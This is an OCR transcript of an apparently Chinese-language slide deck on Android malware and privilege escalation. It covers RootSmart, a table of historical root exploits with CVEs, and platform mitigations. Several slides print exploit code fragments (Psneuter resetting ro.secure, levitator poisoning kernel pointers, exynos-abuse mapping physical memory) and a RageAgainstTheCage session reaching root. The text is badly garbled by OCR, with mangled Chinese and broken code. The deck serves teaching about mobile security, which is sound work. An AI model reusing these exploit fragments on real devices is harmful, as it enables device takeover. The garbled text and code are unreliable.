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d 1976: Cray 1 Supercomputer
> 8MB RAM

» 80 MHz CPU
> $8.8 million

d 2011: Galaxy Nexus
> 1GB RAM
) 1228 MHz CPU
> $200 (w/ contract

3



I3
anp
(Y4}
i

0JUI |DUOSJ2(

SJOSU2G

contacts
SMS
call logs
emails
browser history

camera
microphone
GPS
gyroscope
magnetometer

=LA

/ always-on

always-connected
always-with-you

banking é"
mobile payment @
messaging S
email >

: O
shopping o
games §
entertainment g
media =3
news S
weather >
O

e

wn

4



= F LR
0 BEFARSHEAERELUES

‘- Categories of data: ootSmart Android Malware May Be
¢ ,' ble To Sneak By Google’s New
Data being

sent ouncer (Update)

E JORDAN CROOK ¥

Tuesday, February 7th, 2012 6 Comments

Age, gender

Compames Location : ) ) Remember that Bouncer Google put in the
Collectlng the g Android Market to act as a goalie for all potential

PANDORA

AAata
Your A

Qs Are Watching Youl
bl

THE WALL STREET JOURNAL.

malware attacks?

It would seem that Google's Bouncer doesn't
catch everything as Professor Xuxian Jiang, the
same guy who discovered dozens of other

i

Android malware attacks, has found yet another
exploit called RootSmartTeCh C ru nCh

DAantQmart winrlke van
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0 RERFRIIRFIZHE
> BUREEE  (capability leak)

- glﬁ'%lj\]@ﬂﬁ% (content leak)
* Googleft2.3.4F4.25 I kAi T4 T

¢ BH—N2SEFIMA (5.0?)

> WZZH s (root)

FREE DATA

0

d EEFNNAREN
% RootSmart, GingerMaster, DroidKungFu, Plankt: | &%
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IRIERFTESR
> Linux N #%
> ARM core
E=HRGE
~> Webki‘r, bionic,

» Sound/video codecs
NRER
> Java/C/C++
LITIRE

> Dalvik VM/ART

APPLICATIONS

Home Dialer SMS/MMS M Browser Camera Alarm Calculator

Contacts ~ Voice Dial Email Calendar ~ Media Player ~ Albums Clock

APPLICATION FRAMEWORK

Window : View

Manager Content Providers Notfication

Activity Manager System Manager

Location
Manager

Telephony

Package Manager Manager

Resource Manager

ANDROID RUNTIME

Core Libraries

LIBRARIES

Surface Manager Media Framework SQLite

OpenGLIES FreeType WebKit

SGL SSL Libc

LINUX KERNEL

Shared Memory

Bluetooth Driver e

Display Driver Camera Driver Binder (IPC) Driver

Audio Power

USB Driver Drivers Management

Keypad Driver WiFi Driver

http://source.android.com
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O $FRFUNIX.E %8 uid/gid
> => Jailbreak/root

O SR ENR
> IR (Capability Leak)
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ZERG A

APPLICATIONS
Home Dialer SMS/MMS M Browser Camera Alarm Calculator 3

Contacts Voice Dial Email Calendar ~ Media Player Albums Clock
Capability
Window View Notification Leak

Manager Content Providers System Manager

APPLICATION FRAMEWORK

Activity Manager

Package Manager Telephony Location 4

Manager Resource Manager Manager

LIBRARIES ANDROID RUNTIME

Core Libraries

Surface Manager Media Framework SQLite

2 OpenGL|ES FreeType WebKit

Jailbreak i = =
(root) LINUX KERNEL

Shared Memory
Driver

Display Driver Camera Driver Bluetooth Driver Binder (IPC) Driver

1

: . s Audio Power
USB Driver Keypad Driver WiFi Driver DR Management
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TEREN

Android Versions
<=2.1,2.2

<=2.1
2.2.0/2.2.1/2.2.2
2.2.0/22.1/2.2.2
<=2.2.2

<=2.2.3, 2.3.[0-3],
3.0
2.2.x,2.3.[0-B]
<2.3.6

4.0.[0-3]

4.0.x

Name Target CVE (if any)
Rootstrap @Linux kernel CVE-2009-2692,
CVE-2010-0291
Exploitd /sbin/ueventd (4) CVE-2009-1185
RageAgainst TheCage /sbin/adbd @ -
Zimperlich zygote @ -
KillingInTheName@ /dev/ashmem CVE-2011-1149
/Psneuter
Gingerbreak /sys’rem/bin/vog> CVE-2011-1823
zergRush /system/lib/ CVE-2011-3874
libsysutils.so @ Stack overrun
levitator %/dev/pvr‘srvkm CVE-2011-1352
Mempodroid /proc/<pid>/mem  CVE-2012-0056

Exynos-abuse @ /dev/exynos-mem -

14



ZF547: rootstrap

3 LinuxA#%: CVE-2009-2692

static ssize_t sock_sendpage(struct file *file, struct page *page,
int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;

int flags;

sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? © : MSG_DONTWAIT;

if (more)
flags |= MSG_MORE;

ﬂeturn sock->ops->sendpage(sock, page, offset, size, flags);

$KERNEL/net/socket.c (2.4.4-2.4.37.4; 2.6.0-2.6.30.4) 15



Z 547 : Exploid

d ueventd/udevd : CVE-2009-1185

#define UEVENT_MSG_LEN 1024
void handle_device_fd(int fd)

{

char msg[UEVENT_MSG_LEN+2];
int n;

while((n = recv(fd, msg, UEVENT_MSG_LEN, ©0)) > 0) {
struct uevent uevent;

if(n == UEVENT_MSG_LEN) J/* overflow -- discard */
continue;

msg[n] =
msg[n+1] = 3

parse_event(msg, &uevent);

handle_device_event(&uevent);
handle_firmware_event(&uevent);

$MYDROID/system/core/init/devices.c =



Z 547 : Exploid

T + T +
| (3) application "A" | | (3) application "B" |
T - T + T T - +
EVIL APP | A! UDEV
\ /
T - o o - +
| : | user-space
t 111 T3 : (5) kernel socket API P R RS
| : | kernel-space
T - T - +
PR . ....-+ EVil app sends udev
(1) Netlink subsystem | an evil message Via
el e e T T T +
netlink interface.

udev performs evil
privileged action.

17



ZF5Hr: RageAgainstTheCage
4 adb

a3 < ~ < oo >
/* don't listers ggemon started successfully
/* don't run adid . . .
) - uid=2000<{shell)> gid=20008<(shell)> groups=1803<{graphics>.1084<{in
if (secure) { (mount).1811{adb>.10815(sdcard_rw) .,.3001(net_bt_admin> .30802<{(net
$ sdataslocal/tmp/rageagainstthecage—arm5.bin
U sdataslocal/tmp/rageagainstthecage—arm5.bin
/* then sw CUE—-20168-EASY Android local root exploit (C> 20160 by 743C

SR (. | checking NPROC limit ...
- AQ WY [ +1 RLIMIT_NPROC={33081. 33081>
[*] Searching for adbh ...
[+]1 Found adb as PID 77
[*]1 Spawning children. Dont type anything and wait for reset?
[2]
[*] If you like what we are doing you can send us PayPal mone
RETURN VALUE *] 7-4-3-CCPweb.de so we can compensate time, effort and HW c
oy SUCCESSr%] If you are a company and feel like you profit from our wo
set appropri[*] we also accept donations > 1868 USD?
[2]
ERRORS [*] adb connection will be reset. restart adb server on deskt

S
EAGAIN The C:\Users\Consultant>adb kill-server
over
C:\Users\Consultant>adb shell
»* daemon not running. starting it now
EPERM The Lk daemon started successfully 3=
capat id
userid : : :
uid=0<{(root) gid=2000<(shell) groups=1803<{ graphics>.10884(input>

$MYDROID/system/core/adb/adb.c

18



ZF5Hr: RageAgainstTheCage

d adb

/* don't listen on a port (default 5037) if running in secure mode */
/*¥ don't run as root if we are running in secure mode */
if (secure) {

/* then switch user and group to "shell" */
setuid(AID_SHELL);
setgid(AID_SHELL);

/* then switch user and group to "shell" */

if (sEPAR(AID_SHELL) != 0) {
exit(1);
}

if (setuid(AID_SHELL) != 0) {
exit(1);

}

$MYDROID/system/core/adb/adb.c 9



ZH ¥ Zimperlich
d Zygote

err = setgid(gid);
if (err < 0) {

LOGE("cannot setgid(%d): ", gid, strerror(errno));
}

err = setuid(uid);
if (err < 0) {
LOGE("cannot setuid(%d): ", uid, strerror(errno));

}

err = setgid(gid);

if (err < 0) {
LOGE("cannot setgid( : ", gid, strerror(errno));
dvmAbort();

}

err = setuid(uid);
if (err < 0) {

LOGE("cannot setuid( - ", uid, strerror(errno));
dvmAbort();

$MYDROID/dalvik/vm/native/dalvik_system_Zygote.c 20



=347 KillingInTheNameOf/Psneuter
O ZEEM:CVE-2011-1149

printf("[*] CVE-2010-743C Android local root exploit (C) 2010 743C\n");
printf("[*] The Android Exploid Crew Gentlemens club - dominating robots since 2008.
printf("[*] Donate to 7-4-3-C@web.de if you like HF

sleep(3);
prop = find_prop_area();

if (!prop)
die("[-] Cannot find prop area");

printf("“[+] Found prop area @ , Prop);
if (mprotect(prop, PA_SIZE, PROT_READ|PROT_WRITE) < 0)
die("[-] mprotect");

pi (struct prop_info *)(prop + PA_INFO_START);
pa = (struct prop_area *)prop;

while (pa->count--) {
printf("[*] - ", pi->name, pi->value);
if (strcmp(pi->name, "ro.secure”) == 0) {
strcpy(pi->value, "0");
printf("[+] ro.secure resetted to 0\n");
break;
}
++pi;
}
printT("[T, RCZtarting adl
fflush(stdout); sleep(2);
restart_adb();




ZB52#T:  Gingerbreak
3 vold: CVE-2011-1823

void DirectVolume::handlePartitionAdded(const char *devpath, NetlinkEvent *evt) {
int major = atoi(evt->findParam("MAJOR"));
int minor = atoi(evt->findParam("MINOR"));

int part_num;
const char *tmp = evt->findParam("PARTN");

if (tmp) {
part_num = atoi(tmp);

} else {
SLOGW("Kernel block uevent missing &#39;PARTN&#39;");
part_num = 1;

}

if (part_num > MAX_PARTITIONS || part_num < 1) {
SLOGW("Invalid 'PARTN' value");
part_num = 1;

}

if (major != mDiskMajor) {
SLOGE("Partition &#39;%s&#39; has a different major than its disk!", devpath);
return;

#ifdef PARTITION_DEBUG
SLOGD("Dv:partAdd: part_num = , minor = ", part_num, minor);
#endif
if (part_num >= MAX_PARTITIONS) {
SLOGE("Dv:partAdd: ignoring part_num = (max: , part_num, MAX_PARTITIONS-1);
3 wisw={
mPartMinors[part_num -1] = minor;

-




void FrameworkListener::dispatchCommand(SocketClient *cli, char *data) {
FrameworkCommandCollection::iterator i;
e geeC =9;
char *argv[FrameworkListener::CMD_ARGS_MAX];
char tmp[255];
chai *p = data;

Z2HT:  zergRush

memset(argv, 0, sizeof(argv));
memset(tmp, 0, sizeof(tmp));

d vold: CVE-2011-387 iy

if (esc) {
*qQ++ = F
esc = false;

} else
esc = true;

p++;

continue;

} else if (esc) {

if (*p = '"")
*qQ++ = '"';

else if (*p == )
*qQ++ = H

else {
cli->sendMsg(500, "Unsupported escape sequence", false);
goto out;

}

p++;

esc = false;

continue;

}

if (*p == """) {
if (quote)
quote = false;
else
quote = true;
p++;
continue;

}

*q = *pt+;

if (!quote && *q == ' ') {
*q = 5
argv[argc++] = strdup(tmp);
memset(tmp, 0, sizeof(tmp));
q = tmp;
continue;

}

q++;

}

argv[argc++] = strdup(tmp);




printf("[+] opening prvsrvkm device...\n");

fd = open("/dev/pvrsrvkm", O_RDWR);

if (fd == -1) {
printf("[-] failed opening pvrsrvkm device, aborting!\n");
exit(1);

}

printf("[+] dumping kernel memory...\n");

dump = malloc(DUMP_SIZE + 0x1000);
dump_end = dump + DUMP_SIZE + 0x1000;
memset(dump, ©, DUMP_SIZE + 0x1000);

ret = do_ioctl(fd, NULL, ©, dump + 0x1000, DUMP_SIZE - 0x1000);

if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1);
}
printf("[+] searching kmem for dev_attr_ro pointers...\n");
round = uj

for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
if (*ptr == dev_attr_ro) {
*ptr = (unsigned long) &fake_dev_attr_ro;
found++;

3

printf("[+] poisoned dev_attr_ro pointers with fake_dev_attr_ro!\n", found);

if (found == 0) {

printf("[-] could not find any dev_attr_ro ptrs, aborting!\n");
exit(1);

}

printf("[+] clobbering kmem with poisoned pointers...\n");

ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);

if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1):




Z52HT: Mempodroid

3 LinuxA#%: CVE-2012-0056
> Logic bugs in /proc/<pid>/mem

char self[1024];
IBEEIR(readlink(" /proc/self/exe", self, sizeof(self) - 1));

char *args[4 + argc + 1];
args[o] strdup("run-as");
args[1] (char *) exploit;
args[2] self;

args[3] strdup("-");

int 1;

for (1 =0; 1 != argc; ++1)
args[4 + 1] = argv[i];

args[4 + 1] = NULL;

IBET0 (execv(" /system/bin/run-as", args));
- . '

$KERNEL/fs/proc/mem_writesocket.c (2.4.4-2.4.37 4; 2.6.0-2.6.302.549



Z B9 Hr: exynos-abuse

d Samsung A#%IEE] (/dev/exynos-mem)

/* open the door */

fd = open("/dev/exynos-mem", O_RDWR);

if (fd == -1) {
printf("[!] Error opening /dev/exynos-mem\n");
exit(1);

}

/* kernel reside at the start of physical memory, so take some Mb */
paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);
tmp = paddr;
if (paddr == MAP_FAILED) {
printf("[!] Error mmap: ",strerror(errno), i);
exit(1);

26



Z B9 Hr: exynos-abuse

amsung AN #%

O™ jiang@ubuntu1204: ~/kernel-source/samsung/gt_i9300_updated/kernel

exynos mem mmap file *filp, vm_area_struct *vma)

exynos_mem *mem = ( exynos_mem *)filp->private_data;
cacheable = mem->cacheable;
dma_addr_t start = F
u32 pfn = =
u32 size = vma->vm_end - vma->vm_start;

if (vma->vm_pgoff) {
start = vma->vm_pgoff << PAGE_SHIFT;
pfn = vma->vm_pgoff;

} else {
start = mem->phybase << PAGE_SHIFT;
pfn = mem->phybase;

TODO
if ((phys_to_virt(start) < ( *)PAGE_OFFSET) ||
(phys_to_virt(start) >= high_memory)) {
pr_err( , start);
return - H

3

if (!cacheable)
vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);

vma->vm_Tflags |= VM_RESERVED;
vma->vm_ops = &eXynos_mem_ops;

if ((vma->vm_flags & VM_WRITE) && !(vma->vm_flags & VM_SHARED)) {
pr_err( )
return - 5

3

if (remap_pfn_range(vma, vma->vm_start, pfn, size, vma->vm_page_prot)) {
pr_err( VIE
return - =

vMa - >Vii_ops->open(vma) ,

>

$KERNEL/drivers/char/exynos_mem.c




Z 9 HT: exynos-abuse

d Samsung A#%IEE] (/dev/exynos-mem)

int exynos_mem_mmap(struct file *filp, struct vin_area_struct *vma)

{

struct exynos_mem *mem = (struct exynos_mem *)filp->private _data;

bool cacheable = mem->cacheable;

dma addr t start =0;

u32 pfn = 0;

u32 size = vma->vm_end - vima->vm_start;

if (vma->vm_pgoff) {
start = vma->vm_pgoff << PAGE SHIFT;
pfn = vma->vm_pgoft;

}else {
start = mem->phybase << PAGE _SHIFT;
pfn = mem->phybase;

1

S

if (!cma is

registered region(start, size)) {
pr_err("[%

handling non-cma region (%#x(@%#x)is prohibited'n",
_func | size, start);
return -EINVAL;

regi
s]

——

——

bool cma is registered region(phys addr t start, size t size)

{

struct cma_region *reg:

cma_ foreach region(reg) {
if ((start == reg-=start) &&
((start + size) <= (reg-=start + reg-=size)))

return true:

b
5

return false:; +
, 1st patch

cma_is_registered_region(phys_addr_t start,
cma_region *reg;

(start + size <= start)

.
’

cma_foreach_region(reg) {

f ((start >= reg->start) &&
((start + size) <= (reg->start + reg->size)) &&
(size <= reg->size) &&
(start < (reg->start + reg->size)))




Z B9 Hr: exynos-abuse

d Samsung N#%IXES

> /dev/exynos-mem
< drivers/char/exynos_mem.c

d HEthA X UURIERRAZIYR)
- /dev/sbp-smem

7

< arch/arm/mach-exynos/secmeti~Giivcdev.c

> /dev/DspBridge (11 omAP)

\/

< drivers/staging/tidspbridge/rmgr/drv_interface.c

29



TEREN

Android Versions
<=2.1,2.2

<=2.1
2.2.0/2.2.1/2.2.2
2.2.0/22.1/2.2.2
<=2.2.2

<=2.2.3, 2.3.[0-3],
3.0
2.2.x,2.3.[0-B]
<2.3.6

4.0.[0-3]

4.0.x

Name Target CVE (if any)
Rootstrap @Linux kernel CVE-2009-2692,
CVE-2010-0291
Exploitd /sbin/ueventd (4) CVE-2009-1185
RageAgainst TheCage /sbin/adbd @ -
Zimperlich zygote @ -
KillingInTheName@ /dev/ashmem CVE-2011-1149
/Psneuter
Gingerbreak /sys’rem/bin/vog> CVE-2011-1823
zergRush /system/lib/ CVE-2011-3874
libsysutils.so @ Stack overrun
levitator %/dev/pvr‘srvkm CVE-2011-1352
Mempodroid /proc/<pid>/mem  CVE-2012-0056

Exynos-abuse @ /dev/exynos-mem -
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Vulnerabilities by year

133

124

105

73

51

23
19 5.15 19
. |

1999 19
20005
M 2001 23
M 2002 15

2003 19

2004 51

2005 133
M 2006 90
M 2007 63
" 2008 70

2009 105
" 2010 124
M 2011 83
M 2012 116

2013 73

http://www.cvedetails.com/product/47/Linux-Linux-Kernel.html?vendor_id=33

31



LinuxR#Z &2 £

2|
~
)

M Denial of Service 599
" Overflow 165
Bypass Something 52
™ Gain Privilege 114
Gain Information 136
M Execute Code 47
™ Memory Corruption 49
[] Directory Traversal 3

599 Vulnerabilities by type

165
114 136
52 47 49 3
| .

http://www.cvedetails.com/product/47/Linux-Linux-Kernel.html?vendor_id=33
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. Jolly Bes:
Version | Codename - Distribution oy Sean

[¥z

Froyo 1.3%
2:33- Gingerbread 10 21.2%
23.7
- _‘ KitkKat
3.2 Honeycomb 13 0.1% y— Froyo
403- Ice Cream 15 16.9%
404 Sandwich o
_ Gingerbread
41X Jelly Bean 16 35.9%
Ice Cream Sandwich |t
42X 17 15.4% Honeycomb
43 18 7.8%
4.4 KitKat 19 1.4%

- Data collected during a 7-day period ending on January 8, 2014.
~ Any versions with less than 0.1% distribution are not shown.

http://developer.android.com/about/dashboards/index.html
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EERALTENE

J Android 1.5+
> -fstack-protector = stack overflow
> safe_iop/calloc 2 integer overflow
> dimalloc extensions = heap overflow
d Android 2.3+

> -Wformat-security -Werror=format-security =
format string bugs

> NX = code injection attacks
> mmap_min_addr = null pointer dereference

34



EERALTENE

d Android 4.0+

> ASLR

=> code injection/reuse attacks

d Android 4.1+
> PIE = code reuse attacks
> -WI,-z relro -WIl,-z,now = read-only relocation
> dmesg_restrict = kernel infoleak prevention
> kptr_restrict =» kernel infoleak prevention

Q T EnE

/ B DIHE

% SEAndroid (e.g., Samsung s4)
> TrustZone (eg., kernel integrity in Samsung s4's TIMA)

35



ZERG A

APPLICATIONS

Home Dialer SMS/MMS M Browser Camera

Contacts Voice Dial Email Calendar ~ Media Player Albums

APPLICATION FRAMEWORK

Window View

Activity Manager Manager Content Providers System

Location
Manager

Telephony

Package Manager Manager

Resource Manager

LIBRARIES

Surface Manager Media Framework SQLite

2 OpenGL|ES WebKit

Jailbreak i = =
(root) LINUX KERNEL

Shared Memory
Driver

FreeType

Display Driver Camera Driver Bluetooth Driver

1

' ; P Audio
USB Driver Keypad Driver WiFi Driver Drivers

Alarm Calculator

Clock

Capability
Leak

Notification
Manager

4

ANDROID RUNTIME

Core Libraries

Binder (IPC) Driver

Power
Management
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1.6 Donut 2.2 Froyo
09/2009 05/2010
20 2
® @0
04/2009 10/2009
1.5 Cupcake 2.0 Eclair

Windows Server 2008 R2
1072009

7/2009
Windows 7

3.0 Honeycomb 4.1 Jelly Bean
02/2011 07/2012
2.3.3 - 4.04.0
Q.Q’,’liiﬂ \ ) \ ) A ) ) «.3 \.4 \ » W, \ ) A ) )
3.13.2 4243
11/2010 10/2011 10/2013

2.3 Gingerbread 4.0 Ice Cream Sandwich

4.4 KitKat

Windows Server 2012 R2
1072013

Windows Server 2012

9/2012
0
10/2012
Windows 8
10/2013
Windows 8.1
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